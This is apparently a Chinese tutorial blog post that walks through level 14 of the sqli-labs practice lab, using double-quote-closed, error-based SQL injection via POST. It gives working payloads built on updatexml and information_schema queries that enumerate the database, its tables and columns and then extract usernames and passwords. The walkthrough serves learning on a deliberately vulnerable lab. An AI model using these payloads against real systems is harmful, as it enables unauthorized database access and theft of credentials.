sqli-labs关卡14(基于post提交的双引号闭合的报错注入)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


`

一、回顾上一关知识点

上一关是典型的布尔盲注或可以报错盲注。

二、靶场第十四关通关思路

  • 1、判断注入点
  • 2、爆显位
  • 3、爆数据库名
  • 4、爆数据库表
  • 5、爆数据库列
  • 6、爆数据库关键信息

1、判断注入点

老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'发现并没有报错说明可能是和双引号闭合有关,再输入1"发现报错,报错信息为

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near '"1"" and password="" LIMIT 0,1' at line 1

通过报错信息可以知道是双引号闭合。我们构造payload

sql 复制代码
1" or 1=1#
sql 复制代码
1" or 1=2#

发现1=1页面正常,1=2页面异常

细心发现页面正常和异常只会出现提示successfully或failed。就像布尔盲注的ture或false。并没有回显内容。这里明显可以用布尔或者是报错盲注。这里我就用报错注入了,比较简单。

2、爆显位

注入语句为

sql 复制代码
1" order by 3#

发现3报错,说明有2个显位。

3、爆数据库名

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select database()),0x3a),1)#

得到数据库名

4、爆数据库表

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#

得到关键数据库表名users

5、爆数据库列

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
sql 复制代码
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#


得到关键数据库列username,password

6、爆数据库关键信息

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
sql 复制代码
1" or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#


得到关键账号密码


总结

这一关用的是报错注入,布尔盲注也适用。如果不懂报错注入流程可以看我的文章第五关解析。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
Hello.Reader21 分钟前
Flink Process Table Functions(PTF)实战详解:把 SQL 变成“可编程算子”,状态、时间、定时器一把梭
网络·sql·flink
武昌库里写JAVA3 小时前
在iview中使用upload组件上传文件之前先做其他的处理
java·vue.js·spring boot·后端·sql
emma羊羊4 小时前
【AWVS】漏扫工具
网络·安全·web安全·awvs
尋有緣4 小时前
力扣614-二级关注者
大数据·数据库·sql·oracle
l1t5 小时前
在postgres和duckdb中比较两个数组并只挑选不匹配的元素
数据库·sql·postgresql·数组·duckdb
宁小法6 小时前
SQL查询对比: select exists($sql) 跟 select * from `users` where `id` = 60000001的区别差异
数据库·sql·select exists
不剪发的Tony老师8 小时前
sqlectron:一款轻量级的SQL客户端
数据库·sql
九月生8 小时前
基于 Sa-Token 实现 API 接口签名校验(Spring Boot 3 实战)
web安全·springboot
白帽子凯哥哥10 小时前
Misc题目中图片隐写和流量分析的详细工具使用技巧
linux·运维·web安全·网络安全·docker·渗透测试
几度风雨见丹心10 小时前
sqlite图形化界面建数据库、建表、增删改查、选择.db文件、将sql脚本一键导入,并同步数据、一键导出sql脚本并保存本地.sql文件
数据库·sql·sqlite